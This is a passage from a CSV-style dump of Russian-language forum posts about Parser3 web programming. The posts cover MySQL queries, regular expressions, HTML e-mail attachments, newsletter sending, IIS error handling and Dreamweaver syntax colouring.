,d_29 VARCHAR(5) NOT NULL,d_30 VARCHAR(5) NOT NULL,d_31 VARCHAR(5) NOT NULL);\
\
Если скопировать тот же запрос  и выполнить через PHP-MyAdmin, то  таблицы создаются нормально. Как обойти точку с запятой между таблицами? Или проблема не в ней?\
\
Значения переменных:\
[code]\
kogda_rabotaete.menu - may, june\
^for[t](1;$quantity_of_building) – от 1 до 2\
^for[d](1;$kogda_rabotaete.day) – от 1 до 31 (кол-во дней в месяце)\
[/code]"
"43190","Если Вы имеете ввиду их програмные продукты, то судя по отзывам и уровню фирм, которые заказывали там сайты, я могу сказать, что CMS у них очень хорошая.\
\
PS \
К этой фирме я никакого отношения не имею, просто один из заказчиков - globaledge - не самая бедная фирма и взять штат програмитстов на работу может."
"43191","насколько я помню те сроки и те задачи - не более 2-3 месяцев ушло на создание первой версии этого движка и создании сайта на его основе.\
\
но после того, как спустя какое-то время я посмотрел на него - мне было _очень_ стыдно, в первую очередь за административный интерфейс, во вторую - за выбранную идеологию (там еще не было xsl)\
%-)\
\
нет, административный интерфейс отнимает немного времени. основное время уходит на развитие егоных внутренностей, которые в общем-то и не видит почти никто =)"
"43194","А Вам магазин обязательно на Parser3 нужен? Если да, то может быть кто-нибудь из формума и возмется или сами все-таки попробуете.\
Если все равно на каком языке, то обратитесь в студии веб дизайна, может быть они предложат вам нормальные цены.\
\
Задача у Вас не такая простая.. Например взять связь со складской базой (как я понял 1с)"
"43195","Очевидно, что украшательствами нужно заниматься в последнюю очередь."
"43196","[quot]но это не значит что нет аналогов, которые лучше его[/quot]\
\
Согласен на все 100% ;P"
"43199","http://www.site.ru/?var\
\
Интересует обращение к var"
"43202","Зашифровать-то получается, но тогда ссылки не работают :("
"43203","[quot]Если Вы имеете ввиду их програмные продукты, то судя по отзывам и уровню фирм, которые заказывали там сайты, я могу сказать, что CMS у них очень хорошая.[/quot]\
\
Что может знать \"уровень фирмы\", как впрочем и сама фирма, об уровне программного продукта, который они заказали? Мне не верится, что хорошие программеры будут работать за 500$. Ну а не хорошие программеры не сделают хороший продукт. Может быть они, конечно, имели и виду кодера... Но, рассматривая код сайта http://quantumart.ru/ под микроскопом, могу заявить что бывает и лучше. А для CMS знаний нужно гораздо больше чем для создания хорошего сайта с хорошим кодом.\
\
В любом случае \"лечить по телефону\" смысла нет -- есть много-много-много факторов, которые влияют на качество и вполне возможно, что там сидят отличные специалисты, которым мешает какой-нибудь ме-е-е-енеджер. Просто хотелось сказать, что с первого раза в это верится с трудом. Тем более учитывая категоричность вашего заявления.\
\
[quot]один из заказчиков - globaledge - не самая бедная фирма и взять штат програмитстов на работу может[/quot]\
\
один из заказчиков чего? сайта? не понял этого да и не так это важно, если вдуматься -- результат-то мы видим."
"43204","Вопрос, а зачем Вам это понадобилось? Какого результата Вы хотите этим достичь?"
"43205","Если покажете сайты, написанные \"хорошими програмистами\" и использующие \"хорошую\" CMS, буду признателен"
"43206","простите, не удержался :)\
\
Если вы хотите шифровать именно URL, но нужно писать что-то к Апачу (если это он), чтобы он мог декодировать ваши послания. Или же пользоваться RewriteEngine (опять же если есть такая возможность).\
\
Если речь о QUERY_STRING, то варианты, конечно, есть, но лучше, по-моему, опять же сделать это на уровне сервера."
"43210","[code]\
$text[^str.match[\\<\\!\\-\\- (Some text) \\-\\-\\>(.+?)\\<\\!\\-\\- (/Some text) \\-\\-\\>][gi]]\
#выводим:\
$text.2\
[/code]\
\
Спасибо PAF, за совет."
"43213","По-моему это наводит какого-нибудь злоумышленника наразмышления:\
\"А что если написать click=strashniy_i_ujasniy_skript\""
"43214","а может просто ссылку вставить?\
[code]\
<a href=\"site.ru/vam_suda\">Link</a>\
[/code]\
\
или сделать страницу которая редирект будет делать, а к ней обращатся с вопростом: site.ru?link_id=12(например)"
"43216","строку состояния можно спрятать javascript, но это делать не хорошо, пользоваетель должен знать куда вы его собираетесь послать...\
а кому надо тот сломает даже не глядя в строку состояния (мое личное мнение)"
"43217","Это конечно здорово, но это, ИМХО, защита от пионера второгодника. Если кто-то захочет так вас сломать, он это сделает чтобы Вы там не шифровали. \
Я думаю, смысл есть не шифрованием заниматься, а сделать так, чтобы click=strashniy_i_ujasniy_skript не привел к каким-нибудь нежелательным для сайта проследствиям."
"43219","не поясните?"
"43222","и вообще, хочешь мне что-нибудь сказать, сделай это как мужчина, глаза в глаза (гы :)\
\
А то это, смотрел окончание \"Джей и Молчаливый Боб ...\"? :-)"
"43223","Вот такая конструкция у меня работает.\
\
[code]\
^form:fields.foreach[field;value]{\
  ^if(^field.match[asw_[0-9]+][]){\
    $asw_id[^field.match[asw_([0-9]+)][]{$match.1}]\
    ^void:sql{UPDATE anketa_answer SET question_id = '$form:[asw_$asw_id]' WHERE woker_id = '$form:edit_id'}\
  }\
}\
[/code]"
"43224","Спасибо!! Пробовал по-разному расставлять скобки, но вот ТАК почему-то не додумался) А насчёт дурного стиля - да, полностью согласен, даже стыдно за себя, что не смог что-то изящнее придумать."
"43225","Счас поправлюсь.. =)"
"43226","Вот так вот конечно же..\
[code]\
^form:fields.foreach[field;value]{\
  ^if(^field.match[asw_[0-9]+][]){\
    $asw_id[^field.match[asw_([0-9]+)][]{$match.1}]\
$asw_id\
^void:sql{UPDATE anketa_answer SET answer_text = '$form:[asw_$asw_id]' WHERE woker_id = '$form:edit_id' and question_id = $asw_id}\
  }\
}\
[/code]"
"43227","[code]\
$text[^str.match[(<!-- )(some text)( -->)(.+?)\\1/\\2\\3][gi]{$match.4}]\
# выводим:\
$text\
[/code]"
"43228","[code]\
$text[^str.match[(<!--\\s+)(some text\\s+-->)(.+?)\\1/\\2][gi]{$match.3}]\
# выводим:\
$text\
[/code]"
"43229","Может дело во фразе, но оба варианта выводят всю страницу вместо  нужной части страницы.\
вот то, что я хочу получить на своей странице:\
[code]\
$file[^file::load[text;http://movies.yahoo.com/showtimes/theater?id=2048;$.timeout(60)]]\
$str[$file.text]\
$text[^str.match[\\<\\!\\-\\- (Print Showtimes Rows Here) \\-\\-\\>(.+?)\\<\\!\\-\\- (/Print Showtimes Rows Here) \\-\\-\\>][gi]]\
<table width=\"100%\" border=\"0\">\
^untaint{$text.2}\
</table>\
[/code]\
я не уверен на сколько плох мой вариант, но меня он пока устраивает, если, конечно, кому инетересно, то можно продолжить обсуждение."
"43230","в MySQL протоколе общения клиент-сервер нет пакетных запросов.\
то, что разбито ; отсылается на сервер отдельными порциями.\
\
я не стал [b]замедлять[/b] отправку запроса тем, чтобы тщательно искать там запяточки.\
\
это кажется простой задачей только пока не подумаешь над\
[code]\
insert ... 'и&nbsp;вот' ...\
update /* тут; бывает; всякое */ ...\
update ... -- ;тут тоже\
[/code]"
"43231","[code]\
$text[^str.match[(<!--\\s+)(Print Showtimes Rows Here\\s+-->)(.+?)\\1/\\2][i]]\
<table width=\"100%\" border=\"0\">\
^untaint{$text.3}\
</table>\
[/code]\
\
Вопрос: почему не верно обрабатывается этот regexp:\
\
[code]\
$text[^str.match[(.+)(<!--\\s+)(Print Showtimes Rows Here\\s+-->)(.+?)\\1/\\2(.+)][i]{$match.4}]\
[/code]"
"43233","стыдно не исправить, увидев бред, и имея возможность."
"43234","по этому и тому предмету можно читать доку и вникать.\
а для regex, иногда полагают, достаточно наслушаться слухов и делать на ощупь.\
\
вот когда паркуешься, например, ведь неделаешь: с разгону назад, пока не ударишься, потом немного вперёд, пока не стукнешься, правильно? {риторический}"
"43235","Делайте hidden, может быть? \
А то еще можно через response перебрасывать."
"43236","Мне необходимо по данным с MySQL сервера сформировать текстовый файл для его последующей загрузки в 1с\
\
фактически сам файл на сервере не нужен, он формируется динамически\
\
$string[ля ля ля, тополя, тра ля ля, сюда пишу нужные данные]\
^string.save[1c.txt]\
$response:download[^file::load[binary;1c.txt]]\
^file:delete[1c.txt]\
\
вот по такой схеме, все работает замечательно. А можно ли обойтись без процедуры сохранения файла на диск сервера, а сразу передавать в браузер?\
то есть как мозно создать объект класса файл  - ничего не загружая, никуда не сохраняя?"
"43237","$response:body[DATA]"
"43238","... с пояснениями типа:\
- скопируйте все вышенаписанное, создайте файлик с именем 1с и поместите все скопированное в него.\
\
кроме того, файл, который загружает пользователь, должен иметь так же генерируемое имя (в приведенной выше схеме такой проблемы нет, но как я это сделаю через $response:body[DATA]?)"
"43240","Паф, привет :-)"
"43244","я так и думал ((("
"43248","А можно кусочек кода, иллюстрирующий как это получается?.."
"43249","нельза задать имя файла, под которым броузер предложит сохранить его на диск. но мне этого и не требовалось =)"
"43250","Можно играть с http-заголовком Content-Disposition, который собственно и отвечает за имя выдаваемого файла.\
\
Мое категорическое нет касалось именно класса file, а не всей ситуации в целом."
"43252","[code]$text[^str.match[^^.*?(<!--\\s+)(Print Showtimes Rows Here\\s+-->)(.+?)\\1/\\2.*^$][i]{$match.3}]\
# выводим:\
^untaint{$text}\
[/code]"
"43253","потому что первая конструкция (.+) в силу жадности совпадает со всем текстом от начала до конца."
"43256","Извините за глупый вопрос, я немного не разобрался с переменными,\
каким образом можно задать например ширину таблицы для главной одну для .... другую, т.е. в auto.p у меня body[] <table height=\"$ht%\">...., соответственно для главной в index.html body[]  $ht(20), в ообщем не получается."
"43257","Добрый день, вы говорили, что пробовали сделать подсветку Парсерного кода в Dreamweaver... :)\
\
Хочу сделать наконец ее, но вот изменения которые я сделал в '...\\Macromedia\\Dreamweaver MX 2004\\Configuration\\CodeColoring\\CodeColoring.xml' ни к чему не привели:\
\
[code]\
	<scheme name=\"Parser 3\" id=\"Parser3\" doctypes=\"Parser3,HTML\" priority=\"50\">\
		<ignoreCase>No</ignoreCase>\
		<ignoreTags>Yes</ignoreTags>\
		<defaultText name=\"Default Text\" id=\"CodeColor_Parser3DefaultText\" />\
		<commentStart name=\"Comment\" id=\"CodeColor_Parser3Comment\"><![CDATA[^rem{]]></commentStart>\
		<commentEnd><![CDATA[}]]></commentEnd>\
		<endOfLineComment><![CDATA[#]]></endOfLineComment>\
		<stringStart name=\"String\" id=\"CodeColor_Parser3String\"><![CDATA[\"]]></stringStart>\
		<stringEnd><![CDATA[\"]]></stringEnd>\
		<stringStart><![CDATA[']]></stringStart>\
		<stringEnd><![CDATA[']]></stringEnd>\
		<brackets name=\"Bracket\" id=\"CodeColor_Parser3Brackets\"><![CDATA[{[()]}]]></brackets>\
		<operators name=\"Operator\" id=\"CodeColor_Parser3ExpressionOperator\"><![CDATA[+-*/%<>!?:=&|^]]></operators>\
		<numbers name=\"Number\" id=\"CodeColor_Parser3Numbers\" />\
\
		<keywords name=\"Reserved Keywords\" id=\"CodeColor_Parser3Service\">\
			<keyword>if</keyword>\
			<keyword>switch</keyword>\
			<keyword>case</keyword>\
			<keyword>for</keyword>\
			<keyword>while</keyword>\
			<keyword>taint</keyword>\
			<keyword>untaint</keyword>\
			<keyword>try</keyword>\
			<keyword>throw</keyword>\
			<keyword>eval</keyword>\
			<keyword>process</keyword>\
			<keyword>cache</keyword>\
			<keyword>use</keyword>\
			<keyword>connect</keyword>\
		</keywords>\
		<sampleText doctypes=\"Parser3\">\
<![CDATA[# $Id: simple.p,v 1.02 2004/04/12 15:21:37 VPoupkine Exp $\
 \
@USE\
/../classes/power_ops.p\
\
@customMethod[messages;status] comments\
^if(def $messages && $status.int(0) != 0){\
	$result[^xdoc::create{<?xml version=\"1.0\"?>\
		<document>\
		^messages.menu{\
			<message>\
				<id>^messages.id.format[%02d]</id>\
				<text>^untaint{$messages.body}</text>\
			</message>\
		}\
		</document>\
	]\
}\
]]>\
		</sampleText>\
	</scheme>\
[/code]\
\
(информацию взял из примера Олега Волчкова: http://www.parser.ru/examples/pcolorer/)\
\
Естественно в 'Colors.xml' добавил:\
\
[code]\
		<syntaxColor id=\"CodeColor_Parser3DefaultText\" text=\"#000000\" />\
		<syntaxColor id=\"CodeColor_Parser3Service\" bold=\"true \"text=\"#AA0000\" />\
		<syntaxColor id=\"CodeColor_Parser3MethodDefine\" bold=\"true\" text=\"#990000\" />\
		<syntaxColor id=\"CodeColor_Parser3Comments\" text=\"#888888\" />\
		<syntaxColor id=\"CodeColor_Parser3ExpressionOperator\" text=\"#000000\" />\
		<syntaxColor id=\"CodeColor_Parser3MethodCall\" text=\"#AA0000\" />\
		<syntaxColor id=\"CodeColor_Parser3Variable\" text=\"#CC0000\" />\
		<syntaxColor id=\"CodeColor_Parser3Result\" text=\"#D27000\" />\
		<syntaxColor id=\"CodeColor_Parser3HTML\" text=\"#0077DD\" />\
		<syntaxColor id=\"CodeColor_Parser3String\" text=\"#990000\" />\
		<syntaxColor id=\"CodeColor_Parser3Brackets\" text=\"#0000AA\" />\
		<syntaxColor id=\"CodeColor_Parser3Numbers\" text=\"#FF00FF\" />\
[/code]\
\
Раскраски нет. Даже не правильной. Вообще никакой. Черный текст. Вы на форуме говорили, что у вас она была порой раздражающе неверной, но все же была. Объясните пожалуйста как вам это удалось?... :)\
\
Может быть еще кто-то пробовал?..."
"43259","есть класс A, у него есть маппер AMapper\
есть класс B, у него есть маппер BMapper\
\
Класс A имеет пропертю b, которая содержит экземпляр класса B. Должен ли класс AMapper учитывать класс BMapper? Или же они должны работать независимо друг от друга?"
"43260","в конечном итоге всё может зависить конкретного случая.\
\
но вобщем случае, загрузка объекта класса B должен заниматься BMapper\
\
например так\
\
[code]\
### SessionMapper.p\
\
@doLoad[id;tRow][user]\
$result[^Session::new[]]\
^result.setID[$id]\
.....\
^result.setUser[^userMapper.find[$tRow.user_id]]\
[/code]\
\
но бывают варианты когда удобнее загружать сами данные из базы в AMapper (например left join), на инициализировать объекты с помощью BMapper. (в основном это делает для оптимизации, или для загрузки хитро связанных объектов)"
"43261","а интересно что люди на практике делают"
"43262","появилась необходимость и желание сделать, когда появится свободное время, сразу займусь. Если у кого есть какие мысли или наработки по DW, можете кидать все в этот тред, пригодится.\
\
\
P.S. В пупкинском методе ошибка, не $status.int(0) а ^status.int(0), обещался всё исправить в третей версии, которая выйдет скоро.\
\
P.P.S. DW8, кстати, рулит. Gutter, comment/uncomment, code collapse, diff utility, расширенная поддержка XML, XSLT, XPath... ребята время даром не теряли"
"43263","Я пока только начал с ним разбираться, все что сделал — в предыдущем посте :)"
"43264","Можно ли как-то средствами апача (.htaccess) запретить парсеру запись в определенные каталоги?"
"43268","Выпало мне тут писать довольно большой сайт для одной компании.\
Поджимает срок - до пятницы. И всё бы ничего, но они хотят сделать рассылку новостей. А я с этим никогда не сталкивался.\
Помогите пожалуйста советом, как это реализовать. Парсером или сторонним скриптом?\
На многих хостингах предлагают рассылку как штатную услугу, как реализовать добавление подписчиков в эту услугу? Как инициировать саму эту рассылку? Или рассылать парсером? Какие обычно ограничения стоят (анти-спам может какой на частоту или кол-во писем)?\
Не думаю что будет много подписчиков, и рассылка может от силы раз в неделю. \
Сам бы додумался, но боюсь времени не хватит. \
Вообщем, у кого опыт уже есть, подскажите пожалуйста в какую сторону смотреть. =)"
"43269","На многих хостингах предлагают рассылку как штатную услугу, как реализовать добавление подписчиков в эту услугу?\
\
-- спросить у хостера\
\
Как инициировать саму эту рассылку?\
\
-- спросить у хостера\
\
Или рассылать парсером?\
\
-- можно и парсером, если время есть\
\
Какие обычно ограничения стоят (анти-спам может какой на частоту или кол-во писем)?\
\
-- самые разные\
\
Не думаю что будет много подписчиков, и рассылка может от силы раз в неделю. \
Сам бы додумался, но боюсь времени не хватит. \
Вообщем, у кого опыт уже есть, подскажите пожалуйста в какую сторону смотреть. =)\
\
-- в сторону минимизации трудозатрат"
"43270","http://www.parser.ru/forum/?type=self\
\
Internal Server Error\
The server encountered an internal error or misconfiguration and was unable to complete your request. \
Please contact the server administrator, webmaster@design.ru and inform them of the time the error occurred, and anything you might have done that may have caused the error. \
More information about this error may be available in the server error log. \
________________________________________\
Apache/1.3.33 Server at www.parser.ru Port 80"
"43272","Я хочу сделать обработку 404 ошибки в IIS.\
\
Если пользователь хочет: /news/12.html, а такого файла нет, то всё ок.\
\
А если он хочет /news/12/, то винда выдаёт ошибку. Причина в том, что винда не передаёт /news/12/ на обработку парсеру, но почему? И можно ли с этим справится?\
\
Проверка на сущ. файла ест-но откл."
"43273","В доке сказано:\
[quot]Table (класс)\
Класс предназначен для работы с таблицами. \
\
Таблица считается определенной (def), если она не пуста. [b]Числовое значение равно количеству строк таблицы.[/b][/quot]\
\
Делаю:\
[code]\
^if($table>1){\
	^table.menu{…} #выводим таблицу\
	}{\
	Таблица не заполенна\
	}\
[/code]\
\
В таблице одна строка – заголовки столбцов.\
Получаю:\
invalid number (double)\
st1 st2 st3 st4\
\
Если делать:\
\
[code]\
^table.menu{…}\
[/code]\
\
Получаю\
\
string method not found\
menu\
\
как сказать парсеру, что проверяя ^if($table>1) я хочу проверить именно числовое значение таблицы, равное количеству строк?"
"43275","есть код:\
[code]\
$.html{<html><head><title>$info.title</title><body bgcolor=\"#ffffff\">^untaint[as-is]{<p>Данное письмо пришло Вам с сайта , как извещение.</p><img src=\"$myFiles.name\" border=\"0\" width=\"$myFiles.width\" height=\"$myFiles.height\"/></p>}</body></html>}\
$myFiles[^CONTENT:getImagelist[$info.id]]\
# возвращает размеры, полный uri и отдельно имя файла\
 $.file[\
  $.value[^file::load[binary;$myFiles.uri]]\
  $.name[$myFiles.name]\
 ]\
[/code]\
в мыло пришодит письмо, с аттачем-картинокй, но в самом HTML письме вижу только рамку с размерами пикчи.\
в чем может быть \"затык\"?\
имя аттача и картинки в теле HTML-кода - совпадают"
"43276","Насчет антиспама на форуме реализована рассылка сообщений, которые приходят на ваши треды. Антиспам мыло.ру эту рассылку забивает, в крайнем случае это мое мнение и не только мое:). А в самой реализации рассылки я проблем не вижу. Юзер заходит на сайт оставляет тебе свое мыло, которое парсер из поля формы заносит, например, в хэш файл. Потом заходит админ на страничку администрирования пихает текст в поле формы, жмет кнопку \"Сенд\". Парсер перебирает все адреса, занесеные в хэш и шлет по ним твою разсылку. В чем проблема? На каком этапе? Могу помоч кодом, если надо. Или я чето недопонял?"
"43278","Нет, mail:send в цикле организовать не проблема естессно..\
Я перестраховываюсь на самом деле. \
Антиспам на сервере юзера это проблемы юзера.\
Я думаю адекватно ли реагируют хостеры на такой цикл скажем из 50-100 писем единовременно.."
"43279","Вообще-то это не ответ а вопрос: Как сделать чтобы обновлялдись ВСЕ открытые в данный момент окна IE с заданной периодичностью?\
Сам ни черта в JS не петрю, поэтому желательно ответ увидеть в виде, готовом к вставке в страничку. Заранее спасибо всем ответившим."
"43280","... подписчиков на порции по 30...50 штук. И рассылай не все сразу, а этими порциями. Я сталкивался с подобными ограничениями на число одновременно отправляемых писем и обходил их именно так."
"43281","Тибе же Апач ясна напесал куда званить? А ты ффорум жалуишься. Зачем?\
\
ЗЫ. Ведать у тибя треды такии што 500 и боле ничё. Срамата..."
"43283","[quot]Не допускается отправка корреспонденции из домена объемом более, чем 200 писем в час, во избежание блокировки почтового сервиса домена.[/quot]\
\
Напишите в саппорт своего, вам должны сказать."
"43284","Имеется код:\
[code]\
@test[class;method]\
^[$class]:$method[]\
[/code]\
[b]Какая идея?..[/b]\
Хочу чтобы при вызове ^test[myclass;classmethod] он вызывал ^myclass:classmethod[].\
[b]В чём загвоздка?...[/b]\
В начале ^[$class]..\
[b]Что получается сейчас?[/b]\
[myclass]:\
[b]Что пробовалось?[/b]\
1. ^$class:$method[]\
2. ^${class}:$method[]\
3. ^${class}:${method}[]\
[b]И что получалось?[/b]\
1. $class:\
2. ${class}:\
3. ${class}:classmethod[]\
\
Буду очень благодарен, если найдётся тот, кто поможет решить эту небольшую задачу. :-)"
"43285","А в рамке нарисовано что: красный крестик (изображение не найдено) или иконка изображения (изображение найдено, но не отображено)?.. Если иконка, то возможно просто отключены изображения.\
\
На Яндекс.Почте, кстати, если письмо попадает в папку «Расссыки + Спам», то изображения в нем не отображаются, даже если они рядом с письмом."
"43286","Конечно не передает на обработку Парсеру папку. Файлы *,html по-умолчанию передаются на обработку. А папки никакого отношения к Парсеру не имеют.\
\
Обработку 404-ой ошибки нужно делать средствами сервера (в случае с сервером «apache» надо в .htaccess добавить строчку ErrorDocument 404 /path/to/404.html"
"43287","Хороший форум по JavaScript:\
http://xpoint.ru/forums/programming/javascript/index.xhtml"
"43288","[code]\
@test[class;method;params]\
^process{^^${class}:${method}[$params]}\
[/code]\
\
Вот только вопрос: зачем это нужно?.. Не проще напрямую вызывать методы класса, нежели через прослойку?"
"43290","Насколько я понял проблема не в нем... А вот как назначить свой обработчик 404-ой ошибки в IIS в доке не сказано :(\
\
В доке по Парсеру :)"
"43291","Но всё же интересно, т.к. пр обращении типа /.../.../ сервер по умолчанию должен обратится к index.html, а он тут же выдаёт 404, т.к. каталога нет.\
\
Вопрос зачем он смотрит в случае есть /.../.../ ли такой каталог, а в случе /.../.../index.html не смотрит и передаёт сразу парсеру.\
\
"
"43292","Я примерно так понимаю: при запросе /../../ он переходит в каталог и если в нем есть index.html, значит он его дергает, а если нету — выводит содержание папки. А если и самой папки нету, ему больше ничего не остается как вернуть статус ответа 404 :)"
"43293","в свойствах сайта, вкладка Errors."
"43294","пошлите сами себе и подсмотрите.\
там в src надо cid:lala писать."
"43297","в статье \
http://www.parser.ru/docs/lang/install4iis_404rewrite.htm\
предложено назначить обработчик ещё на две других ошибки (указаны их коды)."
"43298","Ты же не собираешься выводить больше 50 записей для пользователя,\
это просто глупо.\
Используй [code]$.limit() и $.offset()[/code]\
MySql вполне годиться.\
У меня было на последний момент около 800 000 записей,\
страница грузилась в доли секунд."
"43301","Есть необходимость и удобство делать это через прослойку. Много параметров передаётся самой прослойке. Если нужно увидить полученный html или xml код, то включаешь определённую переменную. Лично мне во многом удобно."
"43302","[quot]\
расслыка идет не [b]на[/b] яндекс, а [b]с[/b] внутреннего сервака по локалке\
[/quot]\
\
Одно другому не мешает.\
Яндекс я привел как пример отключенныйх изображений.\
\
Или может я чего-то не понял..."
"43304","[quot]Парсер не умеет работать с SSL [/quot]\
\
С SSL по идее должен работать сервер, а не парсер. А запросы с \"https://\" в начале для парсера на проблема.\
\
Может быть трудности надуманы?"
"43306","В таком случае как перенести вот эти строчки из Perl:\
\
[code]\
...\
use Net::SSLeay qw(post_https make_headers);\
...\
my ($body, $status, %resHeaders) = post_https($host,$port,$uri,$reqHeaders,$request);\
...\
[/code]\
\
...на Parser?\
\
Буду очень благодарен, если вы мне в этом поможете."
"43313","http://www.parser.ru/docs/lang/opis.htm"
"43314","если так:\
[code]<img src=\"cid:little.jpg\"[/code]\
то не помогло ("
"43315","1) рассылку не идет на яндекс, а внутри\
2) при просмотре сырцов письма - имя картинки стоит где надо, совпадет с именем приаттаченного файла\
3) показывается пустое место(с размерами картинки) с красным крестом - \"не найдено\"\
4) в аттаче картинка приходит"
"43316","извините за глупый вопрос, но я щас взорвусь, не знаю как и все тут."
"43317","Но в $asw_id - пусто\
\
Хотя, выставляя вместо post - get, я вижу что данные передаются\
\
[code]\
<form method=\"post\" action=\"anketa.html?work_id=$form:edit_id\" enctype=\"multipart/form-data\">\
^dbc{\
		$answers[^table::sql{select\
						id_question,\
						text,\
						comment\
					from\
						anketa_question}]\
		$answ[^table::sql{select\
						id_answer,\
						woker_id,\
						question_id,\
						answer_text\
					from\
						anketa_answer\
					where\
						woker_id = '$form:edit_id'\
						}]\
\
<table cellspacing=\"1\" cellpadding=\"3\">\
^answ.menu{\
<tr>\
	<td width=\"30%\" align=\"RIGHT\" valign=\"MIDDLE\">\
		^if(^answers.locate[id_question;$answ.question_id]){\
			$answers.text\
		}\
	</td>\
	<td><input type=\"Text\" name=\"asw_$answ.question_id\" size=\"45\" value=\"$answ.answer_text\"></td>\
	<td>\
		^if(^answers.locate[id_question;$answ.question_id]){\
			<i>$answers.comment</i>\
		}\
	</td>\
</tr>\
}\
<tr>\
	<td colspan=\"3\" align=\"CENTER\"><br /><input type=\"submit\" value=\" Отправить \" name=\"posted\"><br /></td>\
</tr>\
</table>\
\
^form:fields.foreach[field;value]{\
   ^if(^field.match[asw_[0-9]+][]){\
     $asw_id[^field.match[asw_([0-9]+)][]{$match.1}]\
			^void:sql{\
				UPDATE\
					anketa_answer\
				SET\
					answer_text = '$form:[asw_$asw_id]'\
				WHERE\
					woker_id = '$form:edit_id'\
				and\
					question_id = $asw_id			\
								\
			}\
   }\
}\
}\
[/code]"
"43318","Открыл пришедшую мне рассылку subscribe.ru, вот выдержка:\
\
[code]\
<img src=\"cid:advert/citycat/6417/carls-r.gif\"...>\
[/code]\
\
Видимо при прикреплении файла к письму прописывается его путь, иначе я ничего не понимаю :("
"43320","[code]\
$asw_id(^field.match[^^asw_([0-9]+)^$][i]{$match.1})\
[/code]"
"43322","...<IMG src=\"cid:[b]lala[/b]\">...\
\
А дальше в сырцах идет аттач:\
\
------------8384D7264C7FB2\
Content-Type: image/gif; name=\"blahblah.gif\"\
Content-Transfer-Encoding: base64\
Content-ID: <[b]lala[/b]>\
\
R0lGODlhsACEALMAAP/MAP/////aRP/kd//PEf/87v/xu//43f/uqv/niP/rmf/1zP/gZv/...."
"43323","Кстати, если попробовать написать что-то подобное:\
\
[code]\
^xdoc::load[https://www.e-port.ru:8084/ed11.cp]\
[/code]\
\
...он выдаст ошибку «I/O Warning...»"
"43325","как можно меньше используйте is.\
более правильно ^if(def ...)"
"43326","для того, чтобы проверить тип объекта, нужно использовать специально заточенный оператор. При чем тут def?\
\
Или я чего-то не понял?"
"43327","я не делал https, пока ни одному нашему клиенту не нужно было.\
\
пока можно запускать(^file::exec) для этой задачи wget."
"43328","если проверяется тип объекта, значит бывает, что в переменной лежат разные типы.\
\
иногда это оправдано.\
\
в случае $table — точно нет.\
в переменной с таким именем может лежать table или void. если в ней лежит hash, автор такого кода напрашивается на фингал от человека, который будет этот код читать."
"43329","вот что в Mozilla TB увидел:\
[quote]\
--lEvEl0\
content-type: image/jpeg; name=\"little.jpg\"\
content-disposition: attachment; filename=\"little.jpg\"\
content-transfer-encoding: x-uuencode\
\
begin 644 little.jpg\
M_]C_X``02D9)1@`!`@` .... et c.\
[/quote]"
"43331","тогда уж не \"как можно меньше используйте is.\", а \"не кладите hash в table и не будет таких проблем\".\
\
Это к вопросу о стиле ;P"
"43333","опять нет.\
\
в нашем языке нет описаний переменных, отсюда такая большая свобода и простота.\
\
однако не надо ею злоупотреблять.\
сравним два куска кода: один написан с активным использованием ^if($something is something), проверяют каждые 5 строчек что-то на что-то.\
другой без.\
\
какой больше по вкусу читающему код человеку?\
а этот человек часто важнее того, кто код пишет.\
\
\
всегда есть случаи, когда использование is оправдано. поэтому он и есть в языке."
"43334","соответственно, и не ломалось.\
\
не уверен, что это вообще через odbc возможно.\
\
вижу, в .net получение xml ответа через odbc драйвер невозможно. даже через ado невозможно. только через специализированный ms sql драйвер.\
\
но посмотрю."
"43340","но чем тогда генерить этот ID ?"
"43345","1. Создаете базу с подписчиками\
2. Делаете скрипт, в котором описываешь дизайн рассылки.\
3. Достаете подписчиков из таблицы\
4. Достаете новости из таблицы\
6. Внутрь дизайна выводите новости\
7. Создайете хотя бы txt файл в котором будет хранится точка отсчета рассылки(чтобы заново все новости не слать).\
8. \
^email.menu{\
^mail:send[\
$.to[$email.email] \
$.html{дизайн письма (уже с новостями внутри)}\
\
Не забудьте обновить значение счетчика новостей в txt файле"
"43346","Копипаст второй части кода без изменений у меня работает.\
Значит проблема в форме.\
Посмотрите на html код формы в браузере, правильно ли она выводится.."
"43348","[code]$.file[\
	$.value[$loadfile]\
	$.name[filename.gif]\
	$.content-id[lala]\
][/code]\
\
В письме:\
\
[quot]content-id: lala\
content-type: image/gif; name=\"filename.gif\"\
content-disposition: attachment; filename=\"filename.gif\"\
content-transfer-encoding: x-uuencode[/quot]\
\
P. S. Еще раз убедился, что Парсер для людей делали, а не для роботов :-)"
"43349","Может быть имеет смысл в документации уточнить:\
[code]$.file[ \
	$.value[файл]\
	$.name[имя_файла]\
	[b]$.поле_заголовка[значение][/b]\
][/code]"
"43350","Вот View Source\
[code]\
...\
           <TR>\
                <TD vAlign=center align=right width=\"30%\">Ваш рост </TD>\
                <TD><INPUT size=45 value=\"165 \" name=asw_1></TD>\
                <TD><I>в сантиметрах</I> </TD></TR>\
              <TR>\
                <TD vAlign=center align=right width=\"30%\">Ваш вес </TD>\
                <TD><INPUT size=45 value=\"65 \" name=asw_2></TD>\
                <TD><I>в килограммах</I> </TD></TR>\
              <TR>\
                <TD vAlign=center align=right width=\"30%\">Размер одежды </TD>\
                <TD><INPUT size=45 value=\"46 \" name=asw_3></TD>\
                <TD><I></I></TD></TR>\
              <TR>\
                <TD vAlign=center align=right width=\"30%\">Размер обуви, \
                  который вы носите </TD>\
                <TD><INPUT size=45 value=\"39 \" name=asw_4></TD>\
                <TD><I></I></TD></TR>\
              <TR>\
                <TD vAlign=center align=right width=\"30%\">Ваше семейное \
                  положение </TD>\
                <TD><INPUT size=45 value=\"не замужем\" name=asw_5></TD>\
                <TD><I>замужем/женат, не замужем/ не женат, не опредилась \
                  (-лся)</I> </TD></TR>\
              <TR>\
                <TD vAlign=center align=right width=\"30%\">Количество детей </TD>\
                <TD><INPUT size=45 value=\"нету \" name=asw_6></TD>\
                <TD><I>возможен ответ: \"не помню\"</I> </TD></TR>\
              <TR>\
                <TD vAlign=center align=right width=\"30%\">В каком районе Вы \
                  проживаете? </TD>\
                <TD><INPUT size=45 name=asw_7></TD>\
                <TD><I>точный адрес можно не указывать</I> </TD></TR>\
              <TR>\
                <TD vAlign=center align=right width=\"30%\">Ваша любимая музыка \
                </TD>\
                <TD><INPUT size=45 value=ДДТ name=asw_10></TD>\
                <TD><I></I></TD></TR>\
              <TR>\
...\
[/code]\
\
Вот, что передается если выставить вместо post - get:\
\
